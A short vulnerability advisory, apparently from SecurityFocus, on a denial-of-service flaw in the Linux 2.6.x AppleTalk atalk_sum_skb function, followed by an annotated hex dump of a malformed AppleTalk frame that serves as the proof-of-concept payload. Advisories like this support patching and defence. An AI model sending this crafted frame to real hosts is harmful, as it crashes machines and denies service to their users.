Linux Kernel 2.6.x AppleTalk ATalk_Sum_SKB Function Denial of Service Vulnerability

                                                source: http://www.securityfocus.com/bid/23376/info

The Linux kernel is prone to a denial-of-service vulnerability. This issue presents itself when malformed AppleTalk frames are processed.

An attacker can exploit this issue to crash host computers, effectively denying service to legitimate users.

Versions prior to 2.6.20.5 are vulnerable. 

{
# Ethernet header -----

XX XX XX XX XX XX # Destination MAC
00 00 00 00 00 00 # Source MAC
00 1D # Length

# LLC header -----

AA AA 03
08 00 07 80 9B # Appletalk

# Appletalk header -----

00 1B # Packet length (invalid)
00 01 # Fake checksum
00 00 00 00 # Destination and source networks
00 00 00 00 # Destination and source nodes and ports

# Payload -----

0C 0D 0E 0F 10 11 12 13
14
}